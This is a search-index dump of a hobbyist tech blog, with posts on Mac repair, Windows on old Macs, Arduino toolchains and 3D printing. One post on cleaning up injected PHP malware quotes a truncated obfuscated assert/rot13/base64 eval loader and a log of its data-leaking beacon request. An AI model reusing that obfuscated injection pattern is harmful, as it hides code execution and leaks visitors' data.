iMac"},{"body":"","link":"https://dawning.ca/tags/apple/","section":"tags","tags":null,"title":"Apple"},{"body":"","link":"https://dawning.ca/tags/bracket/","section":"tags","tags":null,"title":"Bracket"},{"body":"","link":"https://dawning.ca/tags/hard-drive/","section":"tags","tags":null,"title":"Hard Drive"},{"body":"","link":"https://dawning.ca/tags/imac/","section":"tags","tags":null,"title":"Imac"},{"body":"","link":"https://dawning.ca/tags/mount/","section":"tags","tags":null,"title":"Mount"},{"body":"","link":"https://dawning.ca/tags/strap/","section":"tags","tags":null,"title":"Strap"},{"body":"","link":"https://dawning.ca/tags/support/","section":"tags","tags":null,"title":"Support"},{"body":"","link":"https://dawning.ca/tags/mac/","section":"tags","tags":null,"title":"Mac"},{"body":"","link":"https://dawning.ca/tags/os-x/","section":"tags","tags":null,"title":"Os X"},{"body":"","link":"https://dawning.ca/tags/remake/","section":"tags","tags":null,"title":"Remake"},{"body":" I\u0026rsquo;ve released my first application for the macOS App Store. It\u0026rsquo;s a rebrand of a remake I did years back. I added some small new features based on requests I\u0026rsquo;ve had from users of the earlier version.\nA little over 8 years ago I posted Shit Talker Phoenix for Mac OS X here on dawning.ca for download. I eventually also made a Windows build. STP was an attempt to give myself a bit of a functional Hello World project and to resurrect the classic Shit Talker by Jaundice which had become so old it was no longer functional in most cases. After posting my remake here on my blog, I found it actually has something of a user base.\nLately I\u0026rsquo;ve wanted to get back more in to typical App development. I\u0026rsquo;ve been writing software for a while, but most of what I make is specialized stuff made for a small group of people. I wanted to branch-out and get more familiar with more broad stuff. So STP, now Trash Talker has been reused yet again as another kind of hello world. This time with formal distribution through the App Store as the chief goal. I spent about two full days updating the app and getting it submitted. I also went out of my way to maintain compatibility all the way back to OS X Snow Leopard. I don\u0026rsquo;t expect anyone to actually run it on SL though as I don\u0026rsquo;t think the App Store runs on it, anyway, Lion and onward definitely work.\n","link":"https://dawning.ca/posts/trash-talker-for-macos/","section":"posts","tags":["mac","stp","shit talker","OSX","os x","macOS","shit talker phoenix","trash talker","remake"],"title":"Trash Talker for macOS"},{"body":"","link":"https://dawning.ca/tags/ferengi/","section":"tags","tags":null,"title":"Ferengi"},{"body":"","link":"https://dawning.ca/tags/ipad/","section":"tags","tags":null,"title":"Ipad"},{"body":"","link":"https://dawning.ca/tags/iphone/","section":"tags","tags":null,"title":"Iphone"},{"body":"After getting an Apple Watch I decided to author an app for it. I was also re-watching Star Trek DS9 for the 50th time which means I kept hearing Quark (etc) recite the hilarious and disgusting Ferengi Rules of Acquisition. So I made it an app.\nThe process required that I also make an iOS app to deliver the Watch app with, so I made that too. It\u0026rsquo;s served as an education project and I just released my second version (4th revision overall). The exercise would have been stunted had I made it free, as paid apps require the developer to suffer through various tax and legal fuckery, which I have.\nHere\u0026rsquo;s some screenshots from the Watch rendition: When creating apps, Apple requires you provide a support website, hence this.\nHere\u0026rsquo;s a link to where it\u0026rsquo;s parked on the app store.\n","link":"https://dawning.ca/posts/rules-of-acquisition/","section":"posts","tags":["apple","iphone","ipad","ferengi","app","star trek","rules of acquisition","watch","watchos","ios"],"title":"Rules of Acquisition"},{"body":"","link":"https://dawning.ca/tags/rules-of-acquisition/","section":"tags","tags":null,"title":"Rules of Acquisition"},{"body":"","link":"https://dawning.ca/tags/star-trek/","section":"tags","tags":null,"title":"Star Trek"},{"body":"","link":"https://dawning.ca/tags/watch/","section":"tags","tags":null,"title":"Watch"},{"body":"","link":"https://dawning.ca/tags/watchos/","section":"tags","tags":null,"title":"Watchos"},{"body":"","link":"https://dawning.ca/tags/arduino-due/","section":"tags","tags":null,"title":"Arduino Due"},{"body":"","link":"https://dawning.ca/tags/bossac/","section":"tags","tags":null,"title":"Bossac"},{"body":"Here\u0026rsquo;s another diary entry.. Hence this is more for me when I later do a similar project and run in to the same head-aches. But maybe this will help someone else too.\nAfter much pain updating a well-endowed development environment configured for a work project, I ran in to various annoyances getting CDT for Eclipse working with the Arduino Due under Ubuntu 14.04. Below\u0026rsquo;s my approximate notes on how I navigated this delightful shitshow.\nGetting to the point of seeing this beautiful sight was fucking horrific quite satisfying: My environment would initially fail to compile an Arduino sketch, mainly throwing this: \u0026ldquo;/bin/arm-none-eabi-g++\u0026rdquo; -c -g -Os -std=gnu++11 -ffunction-sections -fdata-sections -nostdlib -fno-threadsafe-statics \u0026ndash;param max-inline-insns-single=500 -fno-rtti -fno-exceptions -Dprintf=iprintf -MMD -mcpu=cortex-m3 -mthumb -DF_CPU=84000000L -DARDUINO=10606 -DARDUINO_SAM_DUE -DARDUINO_ARCH_SAM -D__SAM3X8E__ -mthumb -DUSB_VID=0x2341 -DUSB_PID=0x003e -DUSBCON \u0026lsquo;-DUSB_MANUFACTURER=\u0026ldquo;Arduino LLC\u0026rdquo;\u0026rsquo; \u0026lsquo;-DUSB_PRODUCT=\u0026ldquo;Arduino Due\u0026rdquo;\u0026rsquo; \u0026ldquo;-I/home/dev/.arduinocdt/packages/arduino/hardware/sam/1.6.11/system/libsam\u0026rdquo; \u0026ldquo;-I/home/dev/.arduinocdt/packages/arduino/hardware/sam/1.6.11/system/CMSIS/CMSIS/Include/\u0026rdquo; \u0026ldquo;-I/home/dev/.arduinocdt/packages/arduino/hardware/sam/1.6.11/system/CMSIS/Device/ATMEL/\u0026rdquo; -I\u0026quot;/home/dev/.arduinocdt/packages/arduino/hardware/sam/1.6.11/cores/arduino\u0026quot; -I\u0026quot;/home/dev/.arduinocdt/packages/arduino/hardware/sam/1.6.11/variants/arduino_due_x\u0026quot; -MMD -MP -MF\u0026quot;.ino.cpp.d\u0026quot; -MT\u0026quot;.ino.cpp.o\u0026quot; -D__IN_ECLIPSE__=1 -x c++ \u0026ldquo;../.ino.cpp\u0026rdquo; -o \u0026ldquo;.ino.cpp.o\u0026rdquo; -Wall /bin/sh: 1: /bin/arm-none-eabi-g++: not found\nMuch of the pain comes from missing environment variables that cause various crucial toolchain programs being called from paths they do not exist in. However just fixing the environment variables proved remarkably hard as I couldn\u0026rsquo;t get the changes to persist. I went so far as to find the actual files storing the variables and adding the ones I wanted by hand, but they still got nuked. So that\u0026rsquo;s probably a symptom of the real problem here, I only know a work-around:\nThis disgusting command puts a symlink to the bossac binary to the broken path it gets resolved to, which is /bossac. sudo ln -s /home/shartkitten/.arduinocdt/packages/arduino/tools/bossac/1.6.1-arduino/bossac /\nSimilarly, this symlinks all the arm-none-eabi programs to the incorrect path they end up resolving to of /bin: sudo ln -s /home/shartkitten/.arduinocdt/packages/arduino/tools/arm-none-eabi-gcc/4.8.3-2014q1/bin/arm-none-eabi-* /bin/\nNow I can actually build and push to my Arduino Due from Eclipse. But this work-around is quite sketchy. I tried and tried and tried to get Eclipse to store updated environment variables so I didn\u0026rsquo;t have to hack it like this, but they never persisted. I imagine someone will eventually fix the actual bug, for now, I\u0026rsquo;m unstuck and moving on.\nThe environment variables I think need to be set are as follows: A.RUNTIME.TOOLS.ARM-NONE-EABI-GCC.PATH = /home/shartkitten/.arduinocdt/packages/arduino/tools/arm-none-eabi-gcc/4.8.3-2014q1 A.RUNTIME.TOOLS.BOSSAC.PATH = /home/shartkitten/.arduinocdt/packages/arduino/tools/bossac/1.6.1-arduino\nNOTE above I use a fictional home directory, you\u0026rsquo;ll have to alter the commands as you use them to use your actual path, unless you\u0026rsquo;re awesome enough to have a user actually named shartkitten.\nAnnnnd a money-shot: Epilogue After getting the tools working, I ran aground in another area. bossac would begin flashing my ARM chip, but would die at random points during the upload. I work with VMs and forward through USB devices. I\u0026rsquo;ve done plenty of very low-level work this way (lower-level than this for sure). It\u0026rsquo;s worked great, but I\u0026rsquo;ve always been aware it\u0026rsquo;s something extra to go wrong. Well today it struck. I decided to run up my development VM using VMware Fusion rather than the typical Virtual Box that I use (and yes, it was up to date). VMware Fusion handled the USB device fine and the uploads to the Arduino Due started actually working. NOOOow for my actual work to begin!\n","link":"https://dawning.ca/posts/arduino-due-development-in-eclipse/","section":"posts","tags":["arduino due","ubuntu 14.04","eclipse neon","toolchain","g++","upload failure","bossac"],"title":"Dear Diary: Arduino Due Development in Eclipse"},{"body":"","link":"https://dawning.ca/tags/eclipse-neon/","section":"tags","tags":null,"title":"Eclipse Neon"},{"body":"","link":"https://dawning.ca/tags/g++/","section":"tags","tags":null,"title":"G++"},{"body":"","link":"https://dawning.ca/tags/toolchain/","section":"tags","tags":null,"title":"Toolchain"},{"body":"","link":"https://dawning.ca/tags/ubuntu-14.04/","section":"tags","tags":null,"title":"Ubuntu 14.04"},{"body":"","link":"https://dawning.ca/tags/upload-failure/","section":"tags","tags":null,"title":"Upload Failure"},{"body":"","link":"https://dawning.ca/tags/chipset/","section":"tags","tags":null,"title":"Chipset"},{"body":"","link":"https://dawning.ca/tags/cpu/","section":"tags","tags":null,"title":"CPU"},{"body":"","link":"https://dawning.ca/tags/gpu/","section":"tags","tags":null,"title":"GPU"},{"body":"","link":"https://dawning.ca/tags/heat-gun/","section":"tags","tags":null,"title":"Heat Gun"},{"body":"","link":"https://dawning.ca/tags/logic-board-repair/","section":"tags","tags":null,"title":"Logic Board Repair"},{"body":"","link":"https://dawning.ca/tags/macbook/","section":"tags","tags":null,"title":"Macbook"},{"body":" My Macintosh-hording neurosis project has equipped me with various (mostly) 2008-vintage MacBooks. I\u0026rsquo;m a particular sucker for the 17\u0026quot; ones. Two of them I paid $20 for, the other two were $34 and $50. Each one of them was sold for scrap as they were tested \u0026amp; reported as totally non-functional.\nI tend to take warnings for dares.\nMost actually worked fine with nearly zero effort. One needed its RAM reseated. But two of them were really dead, that is to say, I could not get them to POST. As a person who builds the odd thing, when I look at a \u0026ldquo;broken\u0026rdquo; device, I think to myself: If I were gonna make one of those from scratch, this one\u0026rsquo;s like 99% done as-is.\nSuffice to say, I got them all working and it was decently hardcore.\nStarting Point Of course I tried various things to get them working, but all I could get is the sleep light would turn-on after pressing the power button. I had two such units, 17\u0026quot; models, a MacBookPro3,1 and a MacBookPro4,1.\nI realized since I got these from the computer junkyard and they were already written-off as corpses, if I didn\u0026rsquo;t risk making them more dead, I\u0026rsquo;d probably never fix them at all. Nothing ventured, nothing gained, I suppose.\nWith basic faults ruled-out, the next thing to try was a reflow of the major components. Since the machines showed the slightest of life-signs, the CPUs became my main suspect, but I\u0026rsquo;ve had a GPU break its SMD welds before, so I decided to just reflow anything decently complex. I was considering diverting in to a project like this. But decided to cowboy it with my heat gun first.\nTo really get started, I had to first remove the logic boards and clean off the thermal paste/grease.\nHeat Gun I already had a 1500W heat gun I got for using with heat-shrink. I blasted it against some raw solder to get a rough feel for what it takes for it to melt solder. The answer is not much.\nWhile I had intended on reflowing the entire board, when I\u0026rsquo;ve seen youtube videos with similar projects, folks seem to often thermally mask-off a target chip. I figured this might reduce the air-flow pressure against the various tiny caps (etc), so I measured and cut a suitable shape in an Aluminum take-out tray.\nI started blasting the heat to each major chip from kind of far back, about 350mm away. I watched adjacent solder pads, waiting until they looked a little shinier (I\u0026rsquo;ve noticed liquid solder tends to be be shiner). Overall, each chip probably saw a mere 20s of sustained heat, though at times I\u0026rsquo;d briefly get as close as about 80mm.\nOnce I felt like I\u0026rsquo;d delivered enough heat, I left the boards for a while to cool back to ambient.\nThermal Paste During the reassembly I obviously had to apply new thermal paste. I\u0026rsquo;ve classically leaned towards the less-is-more camp when it comes to thermal paste, but then I watched this video:\nWhile that doesn\u0026rsquo;t really land on an exact verdict, I then considered what they looked like when I disassembled the boards: This seemed like a crazy amount of paste to me, but Apple tends to direct Foxconn rather well. I decided to split the difference between my classic amount and what was on there in the first place. The above video gave me the feeling like rounding-up slightly seems a bit less risky that rounding-down slightly. I put on a latex glove and used my finger to spread a thin layer evenly over the heat pads, then I added a little glob to the middle:\nAs it happens, the repair initially had no effect on one of the two machines. So I had to try it again. It did work the second time. On my way back in, I got to see how well my choice of paste application spread around, this is what I got: I think that was precisely what I was aiming for, somewhat less than the factory, but clearly a notable quantity.\nI used MG Chemicals 860 Thermal Transfer Compound. About a year ago I read this super detailed comparison of thermal compounds, MG\u0026rsquo;s 860 has A-grade performance and it\u0026rsquo;s inexpensive (perhaps due to zero marketing).\nFalse Failure On both occasions the sleep light initially would only blink intermittently after the reflow. I thought I\u0026rsquo;d screwed my logic boards up at first, then released, like a champ, I\u0026rsquo;d left out my RAM. So, if you see that steady blinking white sleep light, it could be RAM.\nIt worked The process worked. The machines went from nice-looking paper weights to being usable computers again. Granted these are pretty old, for ~$20 and some fun-time screwing around under the hood, I ended-up with some nice extra units to goof with. My previous post about Windows 10 on Vintage Macs would seem to apply.\nThis post was written from a machine with one of the repaired logic boards. :)\nI\u0026rsquo;ve posted many pictures of this to a Flickr Album, here.\n","link":"https://dawning.ca/posts/macbookpro-corpse-reanimations/","section":"posts","tags":["macbook","solder","logic board repair","resolder","heat gun","repair","CPU","GPU","chipset"],"title":"MacBook Pro Corpse Reanimations"},{"body":"","link":"https://dawning.ca/tags/repair/","section":"tags","tags":null,"title":"Repair"},{"body":"","link":"https://dawning.ca/tags/resolder/","section":"tags","tags":null,"title":"Resolder"},{"body":"","link":"https://dawning.ca/tags/solder/","section":"tags","tags":null,"title":"Solder"},{"body":"","link":"https://dawning.ca/tags/2006/","section":"tags","tags":null,"title":"2006"},{"body":"","link":"https://dawning.ca/tags/2008/","section":"tags","tags":null,"title":"2008"},{"body":"A local eRecycler is enabling me to develop kind of a thrilling computer-hording neurosis. I\u0026rsquo;ve managed to score 4 17\u0026quot; MacBook Pros and 2 15\u0026quot; units ranging from 2006-2008 vintages and it\u0026rsquo;s cost me very little. Some of these have serious problems, no matter, I\u0026rsquo;m having fun.\nThe 2008 Macs top-out at macOS 10.11, which is good for now. There\u0026rsquo;s some room to bump them over the edge in to Sierra, though I\u0026rsquo;m kind of pissed at Apple\u0026rsquo;s business model at the moment. I feel they\u0026rsquo;ve kind of abandoned the desktop entirely and the old machines are getting shafted the hardest. Granted they ARE old, Moore\u0026rsquo;s Law\u0026rsquo;s been on vacation for a while now. I guess we live in a sad world and anyone who buys a new Mac Pro will arrive in this well-populated sad space in about a year. 4,5,6 Apple. Seriously wtf? I know.. I know, it\u0026rsquo;s just business and the best margins are mobile. But I seriously digress.\nThese old machines that max out at 4-6GB of RAM. Microsoft sells new machines running Windows 10 on 2GB of RAM. I\u0026rsquo;m sure they lick the well-toned ass of satan (not a good thing, in my books). These wimpy new machines still have to at least pretend to work, which has a modicum of merit. So, disgustingly, Windows could become the best option for folks with ancient macs that won\u0026rsquo;t die. (Yes, there IS Linux. I\u0026rsquo;ve used Linux daily for ~17years, I love it. It\u0026rsquo;s complete shit on the desktop, if you wanna argue that, then you know, that\u0026rsquo;s cool, you\u0026rsquo;re welcome to be wrong. IT IS the Trump-era now, so anything goes)\nI discovered that if you\u0026rsquo;re willing to commit a Windows License to a specific machine, then you can get a non-transferable license, called an OEM license for a vastly lower price. I actually talked with Microsoft\u0026rsquo;s online sales about this and they said they only sell the Retail version ($150) to end customers. The retail version has the notable merit of being a transferable license. I showed the Microsoft rep a kind of a greasy-looking OEM license vendor I found online. Microsoft\u0026rsquo;s rep didn\u0026rsquo;t call the OEM vendor a scam and said it is an actual option. So I think it\u0026rsquo;s fully legitimate, which actually matters to me. Ultimately, I found an OEM key from an ebay vendor that I think is legitimate for $7.50. I would think THAT would have to be scam, but there were hundreds of positive ebay reviews, guess we\u0026rsquo;ll see. $7.50 is a price I\u0026rsquo;ll actually pay, so here we go with Windows. My core hope is that Starcraft II run better enough under Windows to enable me to equip some friends who want to play with me, but lack systems that can swing it.\nIt\u0026rsquo;s been about 7 years since I goofed with native Windows on an Intel Mac, so I had to relearn a couple things and keep fighting. After many hours and lots of music, it seems I\u0026rsquo;ve got a nice dual boot setup going.\nHere are my steps, if nothing else, I\u0026rsquo;m documenting them here so I can figure my way back through this shitshow again at a later date\u0026hellip;\nGet a viable installer Get the Windows ISO from Microsoft. After much fuckery I realized my failures to get the installer to fully boot are a common pain-point, with common, decently-documented resolutions. For the 2008 vintage, installing from USB is probably possible, but I didn\u0026rsquo;t try it too hard, it certainly got no further than with DVDs.\nI followed the steps from here to make an installer that actually worked. The steps are copy and pasted below in case that site dies:\nDownload Vista SP1/2008/Windows 7 x64 ISO from MSDN (Microsoft), or grab your CD Create 3 folders c:\\efi-iso c:\\efi-exe c:\\efi-dvd Download oscdimg.exe from here and extract into c:\\efi-exe Extract iso using 7-Zip or WinRAR (Or copy the contents of the DVD) into c:\\efi-dvd Start up a command prompt (Start -\u0026gt; Run -\u0026gt; cmd) Type: cd c:\\efi-exe Type: oscdimg -n -m -bc:\\efi-dvd\\boot\\etfsboot.com c:\\efi-dvd c:\\efi-iso\\windows7.iso The oscdimg.exe has been copied here too, because I trust the internet to die and I want a copy in my blog archives.\nNow you should have a viable installer. I\u0026rsquo;ll add that in my case my 15\u0026quot; unit\u0026rsquo;s DVD drive was struggling and I think it was a hardware fault. I temporarily swapped-over a drive from a 17\u0026quot; unit and that worked, but I had to operate the drive physically raised out of the machine body. NOTE that these slot loading drives don\u0026rsquo;t obscure the internals and you can see the laser inside. Most of these drives are class III lasers that CAN cause eye damage, so, you know, be careful and proceed at your own risk and with caution. Safety above all else.\nAlso, I figured putting in an SSD is smart. I like SSDs for not dying when you use your computer to chop-down a tree (while it\u0026rsquo;s running); they handle blunt-force trauma very well. On these older machines, you\u0026rsquo;re limited to SATA 1, so that sucks a lot, but that\u0026rsquo;s still faster than what I\u0026rsquo;d expect to get for throughput from a mechanical drive, especially a shitty 5400rpm one. That\u0026rsquo;s right, I bought a $20 computer and then put in a $100 drive. Look, I told you this is a neurosis. So. Moving on..\nInstall I still like macOS and wanted a dual boot. The Boot Camp Assistant will tell you to suck on a rotten egg at this point, so forget about using it. Though I did use it to fetch me the Windows Boot Camp drivers.\nTo make room for Windows, I booted from a macOS installer and used the Disk Utility to non-destructively add a partition. I used to boot a Live Linux environment and use GParted for that purpose, so that probably would also work.\nTangent: During my quest to boot a vanilla DVD, I installed refind. It can help a lot of pretentious boot situations. However with my patched DVD, refind didn\u0026rsquo;t even see this as a bootable volume.\nPressing and holding the option key at power-on led to the Apple EFI boot menu, which saw the DVD and called it \u0026ldquo;Windows\u0026rdquo;. This actually booted the installer.\nWith the Windows installer going, I reformatted the Windows partition I\u0026rsquo;d just made and the install was fine. After installation, I still had to use the Option key to select Windows to boot. I\u0026rsquo;m sure that can be changed to the default through the Target Disk gui in macOS (maybe it\u0026rsquo;s called something slightly different, whatever).\nDrivers Out of the box, Windows sorted enough crap out that I didn\u0026rsquo;t strictly need boot camp drivers. But I wanted them because in the past, they\u0026rsquo;ve smoothed over some stuff significantly. Things like the keyboard back lighting, display brightness, trackpad settings, etc. Well, naturally, Windows wouldn\u0026rsquo;t run the Boot Camp setup program because it has a bunch of conditions no longer being met. (Some older Boot Camp drivers can be downloaded from here)\nThis is also a documented pitfall, the main thing that got me through was this. However, I still had to do something extra. Here\u0026rsquo;s what I did, which let the installer run:\n\\t- Open Explorer and navigate to the Boot Camp drivers, go in to Drivers\\Apple and right-click on the BootCamp64.msi file. In Properties, assert that the Compatibility mode is for the version of Windows that the drivers were actually for. Make sure you make these settings apply to all users. I actually had to do this a few times, it was as if I\u0026rsquo;d cancelled out, though I had not.\n\\t- Run CMD as Administrator. (You may need to connect an external mouse just to right-click)\n\\t- Navigate the shell to your Boot Camp driver folder that the Boot Camp Assistant gave you.\n\\t- Enter the sub-directory Drivers\\Apple and run msiexec /i BootCamp64.msi\nThat got the Boot Camp driver installer to run for me. Others may then get stuck where I did, where the SigmaTel driver installation never completes. I got around this by just getting rid of the IDT SigmaTel directory in the Drivers directory. (I actually just moved it out of Drivers and in to a new directory I made called Drivers-PenaltyBox)\nHere\u0026rsquo;s proof I got the drivers installed. This was probably most valuable to me for getting tap to click (and two-finger tap to click working with the trackpad).\nLiving with Windows So the first thing I did once I was using my setup was to go get Firefox. I opened up Edge and typed in to the search/address bar \u0026ldquo;Firefox\u0026rdquo;. The first thing that comes up looked right at a glance, but then I promptly realized it was a phishing site peddling adware. So, you know, great job Microsoft Bing \u0026amp; Edge. The very first site you take me to tries to shit on my desktop maliciously. Sigh. Still totally worth $7.50 to have a modern OS, even if it does hate itself, just a little.\nThankfully, I caught it before running the fake Firefox installer.\nSigh.. Right. Is it worth it? We\u0026rsquo;ll see. Nevertheless, that\u0026rsquo;s what it took to get me up and running. For the hourly rate I work for, I could have just put in extra hours and used the proceeds to buy a new computer, but I don\u0026rsquo;t at all need that one bit. It\u0026rsquo;s about the deranged journey.\nTee hee\u0026hellip;\nAddendum: iMac4,1 I eventually scored a first gen Intel 20\u0026quot; iMac (For $31 CDN, sweet). While these instructions mostly applied fine, the ATI X1600 video driver didn\u0026rsquo;t click. I eventually found some instructions that led me to download a suitable CAB file (from here, must be viewed with IE apparently). The key was to unzip it with 7-Zip and then manually update the video adapter driver in Device Manager by pointing it at the unzipped directory. After that, my display made it to native resolution and seemed to work correctly. Because I\u0026rsquo;m a bit paranoid, here\u0026rsquo;s a zip of the 32bit CAB, and here\u0026rsquo;s a zip of the 64bit CAB.\n","link":"https://dawning.ca/posts/windows-10-on-vintage-macs/","section":"posts","tags":["macbook","boot camp","old","2008","windows 10","macbookpro4","2006","imac4","imac41"],"title":"Dear Diary: Windows 10 on early Intel Macs"},{"body":"","link":"https://dawning.ca/tags/imac4/","section":"tags","tags":null,"title":"Imac4"},{"body":"","link":"https://dawning.ca/tags/imac41/","section":"tags","tags":null,"title":"Imac41"},{"body":"","link":"https://dawning.ca/tags/macbookpro4/","section":"tags","tags":null,"title":"Macbookpro4"},{"body":"","link":"https://dawning.ca/tags/old/","section":"tags","tags":null,"title":"Old"},{"body":" About a year ago I processed raw CT data I acquired of a relative of mine and generated multiple 3D models. Since it was my first ever experience with 3D modelling, it took a while, but I figured it out and ended up with an intensely awesome model. Then I turned to my 3D printer and printed off a bunch of them. Suffice to say the whole thing lead to my designing and building of my second printer; the Delta Flyer.\nHere\u0026rsquo;s a timelapse video of the DeltaFlyer printing yet another skull:\nUpdate 2017-04-10 Here\u0026rsquo;s a video illustrating the raw CT dicom images I processed to make my composite model that you see printed above.\n","link":"https://dawning.ca/posts/skull-printing/","section":"posts","tags":null,"title":"Printing real skull models made from CT scans"},{"body":"","link":"https://dawning.ca/tags/apache/","section":"tags","tags":null,"title":"Apache"},{"body":"My main personal web server became infected with some effin malware that was injected it very nearly every single .php script on the server. The injected code was basically:\n//###=CACHE START=### @error_reporting(E_ALL); @ini_set(\u0026ldquo;error_log\u0026rdquo;,NULL); \u0026hellip;etc\n$strings = \u0026ldquo;as\u0026rdquo;; $strings .= \u0026ldquo;se\u0026rdquo;; $strings .= \u0026ldquo;rt\u0026rdquo;; $strings2 = \u0026ldquo;st\u0026rdquo;; $strings2 .= \u0026ldquo;r_r\u0026rdquo;; $strings2 .= \u0026ldquo;ot13\u0026rdquo;; $gbz = \u0026ldquo;riny(\u0026rdquo;.$strings2(\u0026ldquo;base64_decode\u0026rdquo;); $light = $strings2($gbz.\u0026rsquo;(\u0026ldquo;nJLtX\u0026hellip;.\u0026rdquo;));\u0026rsquo;); $strings($light); //###=CACHE END=###\nThis is kind of beautiful to me, it took me a little while to figure out what it does. In effect it causes basic system info for anyone browsing sites on that server to be sent off to some other php script on another server. At first I altered the server and my network to prevent any traffic from reaching the intended target. Instead I captured the traffic so I could get a look at the volume of it. Here\u0026rsquo;s an example apache log message generated by someone browsing an infected site:\n(127.0.0.1) - - [13/Nov/2016:14:01:20 -0700] \u0026ldquo;GET /get.php?ip=192.168.1.200\u0026amp;d=mysite.com%2Fclass-aptent-taciti-sociosqu-ad-litora%2F\u0026amp;u=Mozilla%2F5.0+%28iPhone%3B+CPU+iPhone+OS+7_0+like+Mac+OS+X%29+AppleWebKit%2F537.51.1+%28KHTML%2C+like+Gecko%29+Version%2F7.0+Mobile%2F11A465+Safari%2F9537.53+%28compatible%3B+bingbot%2F2.0%3B+%2Bhttp%3A%2F%2Fwww.bing.com%2Fbingbot.htm%29\u0026amp;i=1\u0026amp;h=85f7d3bd42bb5caa72817bcd75723fbc HTTP/1.0\u0026rdquo; 404 466 \u0026ldquo;-\u0026rdquo; \u0026ldquo;-\u0026rdquo; After kind of a lot of effort, I came up with a script that purged this malware from my server\u0026rsquo;s file system. SUuuuuure I could have restored from backup, but that\u0026rsquo;s not nearly as interesting or dangerous.\nHere\u0026rsquo;s the searchAndDestroy script I came up with.\n","link":"https://dawning.ca/posts/battle-against-injected-php/","section":"posts","tags":["apache","ubuntu","linux","PHP","fix","script","malware","injected","grep"],"title":"Battle against injected PHP"},{"body":"","link":"https://dawning.ca/tags/grep/","section":"tags","tags":null,"title":"Grep"},{"body":"","link":"https://dawning.ca/tags/injected/","section":"tags","tags":null,"title":"Injected"},{"body":"","link":"https://dawning.ca/tags/malware/","section":"tags","tags":null,"title":"Malware"},{"body":"","link":"https://dawning.ca/tags/php/","section":"tags","tags":null,"title":"PHP"},{"body":"","link":"https://dawning.ca/tags/script/","section":"tags","tags":null,"title":"Script"},{"body":"","link":"https://dawning.ca/tags/ubuntu/","section":"tags","tags":null,"title":"Ubuntu"},{"body":"The time came to upgrade my trusty MacPro3,1 to macOS Sierra. As many know, El Cap is the latest build of OS X macOS that supports this platform. How to a MacPro3,1 on Sierra is well-documented, nevertheless this blog is half just a diary that I use to re-trace my steps later.\nAfter making a backup image of my system, I used the guide here to create a modified Sierra installer. I then simply ran an in-place installation and sure-enough everything seems to be working. During the install, I swapped back in the original (coal-burning) video card. Afterwards I swapped back in my current GPUs and all was well. So far Sierra seems to run as good as El Cap, maybe.. Just maybe even better.\n","link":"https://dawning.ca/posts/macpro31-upgrade-to-macos-sierra/","section":"posts","tags":["macOS","sierra","macpro31"],"title":"MacPro3,1 upgrade to macOS Sierra"},{"body":"","link":"https://dawning.ca/tags/macpro31/","section":"tags","tags":null,"title":"Macpro31"},{"body":"Yahoo! used to be an awesome business that had a few products I used. But I\u0026rsquo;ve noticed lately when I install certain free utility applications, Yahoo! has managed to pepper-in their own adware.\nDear Yahoo!,\nIt\u0026rsquo;s time for a major course-correction. Either die entirely or get your crap together. Tricking people in to using your products is an impressively sketchy proposition. Cease and�desist�this�despicable practice right now.\nYours truly,\nThe entire Internet.\n","link":"https://dawning.ca/posts/boycott-yahoo/","section":"posts","tags":["ragequit"],"title":"Boycott Yahoo!"},{"body":"","link":"https://dawning.ca/tags/ragequit/","section":"tags","tags":null,"title":"Ragequit"},{"body":"","link":"https://dawning.ca/tags/3d-printing/","section":"tags","tags":null,"title":"3d Printing"},{"body":"","link":"https://dawning.ca/categories/cupcake155/","section":"categories","tags":null,"title":"Cupcake155"},{"body":"","link":"https://dawning.ca/categories/deltaflyer/","section":"categories","tags":null,"title":"DeltaFlyer"},{"body":"","link":"https://dawning.ca/categories/illuminatrix/","section":"categories","tags":null,"title":"Illuminatrix"},{"body":" I first posted about my lighting solution in Cupcake155 Episode 4, it\u0026rsquo;s since evolved a bit and it\u0026rsquo;s time for an update.\nIlluminatrix is mainly documented here on hackaday.io and the code assets are�here on github.\nThe latest is it\u0026rsquo;s now fairly easy to install the Octoprint Plugin component of Illuminatrix. The instructions for that are posted on the readme on github. Also, the Octoprint plugin was broken by changes in Octoprint at some point, so the plugin has been updated to fit the new requirements.\nThe DeltaFlyer\u0026rsquo;s been getting outfitted with an Illuminatrix implementation and in the process I\u0026rsquo;m reducing and refining the hardware required. I\u0026rsquo;m considering doing a PCB run to make a fairly clean setup. Anyone who\u0026rsquo;s interested in something like that should ping me through the hackaday project so I can gage interest.\n","link":"https://dawning.ca/posts/illuminatrix/","section":"posts","tags":["RGB LED","illuminatrix","lighting","octoprint","3d printing"],"title":"Illuminatrix"},{"body":"","link":"https://dawning.ca/tags/illuminatrix/","section":"tags","tags":null,"title":"Illuminatrix"},{"body":"","link":"https://dawning.ca/tags/lighting/","section":"tags","tags":null,"title":"Lighting"},{"body":"","link":"https://dawning.ca/tags/octoprint/","section":"tags","tags":null,"title":"Octoprint"},{"body":"","link":"https://dawning.ca/tags/rgb-led/","section":"tags","tags":null,"title":"RGB LED"},{"body":"","link":"https://dawning.ca/tags/1000mm/","section":"tags","tags":null,"title":"1000mm"},{"body":"","link":"https://dawning.ca/tags/3d/","section":"tags","tags":null,"title":"3d"},{"body":"","link":"https://dawning.ca/tags/delta/","section":"tags","tags":null,"title":"Delta"},{"body":"","link":"https://dawning.ca/tags/deltaflyer/","section":"tags","tags":null,"title":"Deltaflyer"},{"body":"DeltaFlyer Episode II was originally posted to hackaday.io. I\u0026rsquo;ve mirrored it here for my own purposes.\nFor the Delta Flyer\u0026rsquo;s maiden voyage, I opted to go cheap and use Prime Line rollers (referenced in an earlier log). They\u0026rsquo;re fairly inexpensive and I didn\u0026rsquo;t have much grief finding them at a couple different local stores. They definitely have slop in them, so they\u0026rsquo;re not really a good choice and probably go from rough to terrible as print speed is increased. Episode II here is to illustrate how well these actually work.\n\\t- STLs used came from here\n\\t- An example of the M-6002 Tub \u0026amp; Shower rollers\n\\t- Assembly Instructions�(Use 8-32 bolts \u0026amp; nuts)\nI found that I could get passable motion. I ultimately replaced the Prime Line rollers with Delrin rollers. I was stunned to find the first prints out of the Delrin\u0026rsquo;s looked exactly the same as the Prime Line wheels. This led to eventually find my main source of error was my print bed could move during the print. Therefore, I\u0026rsquo;m not really sure what the quality limit on the Prime Line rollers really is. My guess is you could get pretty damn good but if you tried to print fast, the slop in the bearings would become intolerable.\nMy Photo Album for Episode II is here.\n","link":"https://dawning.ca/posts/deltaflyer-episode-2/","section":"posts","tags":["reprap","3d","kossel","mini","deltaflyer","printing","delta","custom","1000mm","prime line"],"title":"DeltaFlyer Episode II: Prime Line 